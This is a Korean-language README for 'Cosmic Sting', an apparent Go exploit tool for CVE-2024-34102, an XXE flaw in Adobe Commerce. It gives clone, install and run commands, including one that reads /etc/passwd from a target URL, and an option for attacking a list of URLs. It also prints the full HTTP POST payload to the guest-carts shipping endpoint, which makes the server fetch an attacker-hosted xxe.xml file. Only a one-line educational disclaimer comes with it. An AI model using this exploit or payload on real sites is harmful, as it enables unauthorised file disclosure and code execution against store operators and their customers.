
Exploitation CVE-2024-34102
Cosmic Sting은 CVE-2024-34102 원격 코드 실행 취약점을 익스플로잇하기 위해 설계된 Go 기반 도구입니다.
Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전은 XML 외부 엔티티 참조('XXE')를 부적절하게 제한하는 취약점의 영향을 받으며, 이로 인해 임의 코드 실행이 발생할 수 있습니다. 공격자는 외부 엔티티를 참조하는 조작된 XML 문서를 전송하여 이 취약점을 악용할 수 있습니다. 이 문제를 악용하는 데 사용자 상호작용이 필요하지 않습니다.
저장소를 클론하세요:
git clone https://github.com/bughuntar/CVE-2024-34102.git &&
cd CVE-2024-34102
종속성 설치 (있는 경우):
go version &&
go mod init cosmic_sting &&
go get github.com/fatih/color &&
go get github.com/google/uuid &&
go get github.com/urfave/cli/v2
단일 URL로 도구를 실행하려면:
go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"
-u, --url : 익스플로잇할 단일 URL.-f, --file : SSRF를 통해 읽을 파일.-l, --list : 익스플로잇할 URL 목록이 포함된 파일.POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187
{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}
이 프로젝트는 라이선스가 없으며 개인 프로젝트로만 제작되었습니다.
기여를 환영합니다! 변경 사항이 있으면 이슈를 열거나 풀 리퀘스트를 제출해 주세요.
이 도구는 교육 목적으로만 제공됩니다. 책임감 있게 사용하고 테스트 권한이 있는 시스템에서만 사용하세요.
Professor the Hunter --> 트위터에서 팔로우하기